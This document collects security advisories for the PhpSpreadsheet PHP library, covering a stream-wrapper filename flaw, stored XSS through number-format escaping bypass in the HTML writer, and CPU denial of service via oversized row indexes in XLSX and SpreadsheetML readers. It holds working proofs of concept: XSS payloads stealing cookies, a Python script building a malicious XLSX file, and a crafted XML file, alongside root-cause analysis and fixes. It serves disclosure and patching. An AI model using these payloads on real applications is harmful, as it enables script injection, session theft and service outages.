PhpSpreadsheet is a library for reading and writing spreadsheet files. In versions 1.30.2 and earlier, 2.0.0 through 2.1.14, 2.2.0 through 2.4.3, 3.3.0 through 3.10.3, and 4.0.0 through 5.5.0, when the filename argument to IOFactory::load() is user-controlled, an attacker can supply a PHP stream wrapper path (such as phar://, ftp://, or ssh2.sftp://) that passes the isfile() check in File::assertFile(). The phar:// wrapper triggers deserialization of the PHAR metadata, which can lead to remote code execution if a suitable gadget chain is available in the application. The ftp:// and ssh2.sftp:// wrappers can be used for server-side request forgery. This issue has been fixed in versions 1.30.3, 2.1.15, 2.4.4, 3.10.4, and 5.6.0.
Summary The HTML Writer in PhpSpreadsheet bypasses htmlspecialchars() output escaping when a cell uses a custom number format containing the @ text placeholder with additional literal text (e.g., @ "items" or "Total: "@). This allows an attacker to inject arbitrary HTML and JavaScript into the generated HTML output by crafting a malicious XLSX file.
Details
1. Conditional escaping in Html.php:1586-1594
php $cellData = NumberFormat::toFormattedString( $origData2, $formatCode ?? NumberFormat::FORMATGENERAL, [$this, 'formatColor'] );
if ($cellData === $origData) { $cellData = htmlspecialchars($cellData, Settings::htmlEntityFlags()); }
htmlspecialchars() is only called when $cellData === $origData (strict comparison). If the formatted output differs from the original value in any way, escaping is skipped entirely.
2. Early return in Formatter.php:136-152
php if (pregmatch(self::SECTIONSPLIT, $format) === 0 && pregmatch(self::SYMBOLAT, $formatx) === 1) { if (!strcontains($format, '"')) { return strreplace('@', / raw value /, $format); } return strreplace(/ ... pregreplace with raw value ... /); }
When the format code contains @ with additional literal text (e.g., @ "items"), the formatter substitutes the raw cell value into the format string and returns early — the formatColor callback (which would have applied htmlspecialchars) is never invoked.
PoC
test.php php <?php
require '/app/vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Html;
$spreadsheet = new Spreadsheet(); $sheet = $spreadsheet->getActiveSheet();
$payload = '<img src=x onerror=alert(document.domain)>'; $formatCode = '@ "items"';
$sheet->setCellValue('A1', $payload); $sheet->getStyle('A1')->getNumberFormat()->setFormatCode($formatCode);
$writer = new Html($spreadsheet); $html = $writer->generateHTMLAll();
fileputcontents('/app/output.html', $html);
echo "HTML output saved to /app/output.html\n";
The produced output contains unescaped data. html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="generator" content="PhpSpreadsheet, https://github.com/PHPOffice/PhpSpreadsheet" /> <title>Untitled Spreadsheet</title> <meta name="author" content="Unknown Creator" /> <meta name="title" content="Untitled Spreadsheet" /> <meta name="lastModifiedBy" content="Unknown Creator" /> <meta name="created" content="2026-04-02T16:34:44+00:00" /> <meta name="modified" content="2026-04-02T16:34:44+00:00" /> <style type="text/css"> [..SNIP..] </style> </head>
<body> <div style='page: page0'> <table border='0' cellpadding='0' cellspacing='0' id='sheet0' class='sheet0 gridlines'> <col class="col0" /> <tbody> <tr class="row0"> <td class="column0 style1 s"><img src=x onerror=alert(document.domain)> items</td> </tr> </tbody></table> </div> </body> </html>
<img width="719" height="716" alt="Screenshot 2026-04-02 at 18 45 53" src="https://github.com/user-attachments/assets/b758b063-a2d1-4e76-87bb-931eae81dbfe" />
Impact
The impact changes based on the way the HTML is served. In case it is served from the web server it is typical XSS, in case the file is downloaded and opened locally, the attack vector is more limited.
Summary
The XLSX reader's ColumnAndRowAttributes::readRowAttributes() method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (AddressRange::MAXROW = 1,048,576). An attacker can craft a minimal XLSX file (~1.6KB) containing a <row r="999999999"/> element that inflates cachedHighestRow to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources.
Details
In src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php at line 216, the row index is cast directly from XML without bounds checking:
php // ColumnAndRowAttributes.php:216 $rowIndex = (int) $row['r']; // No validation against AddressRange::MAXROW
This value flows through setRowAttributes() (line 126) → $this->worksheet->getRowDimension($rowNumber) (line 60), which updates the cached highest row in Worksheet.php:1348:
php // Worksheet.php:1342-1349 public function getRowDimension(int $row): RowDimension { if (!isset($this->rowDimensions[$row])) { $this->rowDimensions[$row] = new RowDimension($row); $this->cachedHighestRow = max($this->cachedHighestRow, $row); } return $this->rowDimensions[$row]; }
The inflated cachedHighestRow is then returned by getHighestRow() (line 1099) and used as the default end bound in RowIterator::resetEnd() (RowIterator.php:86):
php // RowIterator.php:86 $this->endRow = $endRow ?: $this->subject->getHighestRow();
Notably, column attributes already have equivalent validation at line 161 (AddressRange::MAXCOLUMNINT), and cell coordinates are validated in Coordinate::coordinateFromString() (line 40) against MAXROW. The row dimension attribute path bypasses both of these checks.
PoC
Step 1: Create the malicious XLSX file (~1.6KB)
python import zipfile import io
contenttypes = '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>'
rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>'
workbook = '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>'
wbrels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>'
sheet = '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="999999999" ht="15"/></sheetData></worksheet>'
with zipfile.ZipFile('dosrow.xlsx', 'w', zipfile.ZIPDEFLATED) as zf: zf.writestr('[ContentTypes].xml', contenttypes) zf.writestr('rels/.rels', rels) zf.writestr('xl/workbook.xml', workbook) zf.writestr('xl/rels/workbook.xml.rels', wbrels) zf.writestr('xl/worksheets/sheet1.xml', sheet)
print("Created dosrow.xlsx")
Step 2: Load with PhpSpreadsheet (CPU exhaustion)
php <?php require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\IOFactory;
$reader = IOFactory::createReader('Xlsx'); $spreadsheet = $reader->load('dosrow.xlsx'); $sheet = $spreadsheet->getActiveSheet();
echo "Highest row: " . $sheet->getHighestRow() . "\n"; // Output: Highest row: 999999999
// This will consume CPU for ~144 seconds (999M iterations) foreach ($sheet->getRowIterator() as $row) { // CPU exhaustion }
Expected output: getHighestRow() returns 999999999. Any row iteration hangs indefinitely.
Impact
- CPU Denial of Service: A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using getRowIterator() or uses getHighestRow() as a loop bound. Estimated CPU burn is ~144 seconds per file. - Memory Exhaustion: Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory. - Amplification: The ratio of input size to resource consumption is extreme — 1,580 bytes triggers nearly 1 billion iterations. - Common Attack Surface: PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely.
Recommended Fix
Add row bounds validation in readRowAttributes() at line 216, matching the column validation pattern already present at line 161:
php // src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216 // Before: $rowIndex = (int) $row['r'];
// After: $rowIndex = (int) $row['r']; if ($rowIndex < 1 || $rowIndex > AddressRange::MAXROW) { continue; }
The AddressRange import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in Coordinate::coordinateFromString() and the column validation at line 161.
Summary
The SpreadsheetML XML reader (Reader\Xml) does not validate the ss:Index row attribute against the maximum allowed row count (AddressRange::MAXROW = 1,048,576). An attacker can craft a SpreadsheetML XML file with ss:Index="999999999" on a <Row> element, which inflates the internal cachedHighestRow to ~1 billion. Any subsequent call to getRowIterator() without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service.
Details
In src/PhpSpreadsheet/Reader/Xml.php, the loadSpreadsheetFromFile method processes <Row> elements:
php // Xml.php:397-402 if (isset($rowss['Index'])) { $rowID = (int) $rowss['Index']; // No validation against MAXROW } if (isset($rowss['Hidden'])) { $rowVisible = ((string) $rowss['Hidden']) !== '1'; $spreadsheet->getActiveSheet()->getRowDimension($rowID)->setVisible($rowVisible); }
The $rowID value read from ss:Index is cast to int with no upper bound check. It is then passed to getRowDimension():
php // Worksheet.php:1342-1351 public function getRowDimension(int $row): RowDimension { if (!isset($this->rowDimensions[$row])) { $this->rowDimensions[$row] = new RowDimension($row); $this->cachedHighestRow = max($this->cachedHighestRow, $row); } return $this->rowDimensions[$row]; }
This inflates cachedHighestRow to the attacker-controlled value. Additionally, at line 412, $cellRange = $columnID . $rowID is constructed and passed to getCell(), which calls createNewCell() (Worksheet.php:1294) and also sets cachedHighestRow.
The RowIterator constructor uses getHighestRow() as its default end row:
php // RowIterator.php:84-88 public function resetEnd(?int $endRow = null): static { $this->endRow = $endRow ?: $this->subject->getHighestRow(); return $this; }
With cachedHighestRow at ~1 billion, iterating over rows causes CPU exhaustion. The DefaultReadFilter provides no protection — it returns true for all cells.
Even without the Hidden attribute, any cell data within the row still uses the inflated $rowID at line 412, so the ss:Hidden attribute is not required to trigger the vulnerability.
PoC
1. Create poc.xml: xml <?xml version="1.0"?> <?mso-application progid="Excel.Sheet"?> <Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet" xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet"> <Worksheet ss:Name="Sheet1"> <Table> <Row ss:Index="999999999" ss:Hidden="1"/> <Row><Cell><Data ss:Type="String">test</Data></Cell></Row> </Table> </Worksheet> </Workbook>
2. Load and iterate: php <?php require 'vendor/autoload.php'; use PhpOffice\PhpSpreadsheet\IOFactory;
$reader = IOFactory::createReader('Xml'); $spreadsheet = $reader->load('poc.xml'); $sheet = $spreadsheet->getActiveSheet();
echo "Highest row: " . $sheet->getHighestRow() . "\n"; // Outputs: Highest row: 1000000000
// This loop will attempt ~1 billion iterations → CPU exhaustion foreach ($sheet->getRowIterator() as $row) { // Never completes }
Impact
Any PHP application that processes user-uploaded SpreadsheetML XML files using PhpSpreadsheet is vulnerable. An attacker can cause denial of service by:
- Exhausting server CPU with a single small XML file (~300 bytes) - Blocking the PHP worker process, potentially affecting all concurrent users - Triggering PHP maxexecutiontime limits that still consume resources before killing the process
The attack requires no authentication — only the ability to upload or cause the application to process a crafted SpreadsheetML file.
Recommended Fix
Add MAXROW validation after reading the ss:Index attribute in src/PhpSpreadsheet/Reader/Xml.php:
php // After line 398: if (isset($rowss['Index'])) { $rowID = (int) $rowss['Index']; if ($rowID > AddressRange::MAXROW) { $rowID = AddressRange::MAXROW; } }
Add the necessary import at the top of the file: php use PhpOffice\PhpSpreadsheet\Cell\AddressRange;
The same validation should also be applied to the ss:Index attribute on <Cell> elements (line 409) for the column dimension.
It was discovered that there is a way to bypass HTML escaping in the HTML writer using custom number format codes.
The Problem
In Writer/Html.php around line 1592, the code checks if the formatted cell data equals the original data to decide whether to apply htmlspecialchars():
php if ($cellData === $origData) { $cellData = htmlspecialchars($cellData, ...); }
When a cell has a custom number format containing @ (text placeholder) with any additional literal characters, the formatter replaces @ with the cell value and adds the extra characters. This makes $cellData !== $origData, so htmlspecialchars() is skipped entirely.
Even a single trailing space in the format (@ ) is enough to bypass the escape.
Proof of Concept
php use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Html; use PhpOffice\PhpSpreadsheet\Cell\DataType;
$spreadsheet = new Spreadsheet(); $sheet = $spreadsheet->getActiveSheet();
// XSS payload with malicious number format $sheet->setCellValueExplicit('A1', '<img src=x onerror=alert(document.cookie)>', DataType::TYPESTRING); $sheet->getStyle('A1')->getNumberFormat()->setFormatCode('. @');
$writer = new Html($spreadsheet); $writer->save('output.html');
The generated HTML contains: html <td>. <img src=x onerror=alert(document.cookie)></td>
The XSS payload is completely unescaped.
Tested Bypass Formats
| Format Code | Result | Escaped? | |---|---|---| | General (default) | Original value | YES (safe) | | . @ | . + value | NO (XSS!) | | @ (trailing space) | value + | NO (XSS!) | | x@ | x + value | NO (XSS!) |
This was tested with PhpSpreadsheet 4.5.0 and confirmed the XSS executes in the browser.
Impact
Any application that: 1. Accepts uploaded XLSX files from users 2. Converts them to HTML using PhpSpreadsheet's HTML writer 3. Displays the HTML to other users
...is vulnerable to stored XSS. The attacker embeds the payload in a cell value and sets a custom number format in the XLSX file's xl/styles.xml.
Suggested Fix
Always apply htmlspecialchars() regardless of whether formatting changed the value:
php // Instead of conditional escaping: $cellData = htmlspecialchars($cellData, ENTQUOTES | ENTSUBSTITUTE, 'UTF-8');
Or escape AFTER formatting, not conditionally based on equality.
Reporter Keyvan Hardani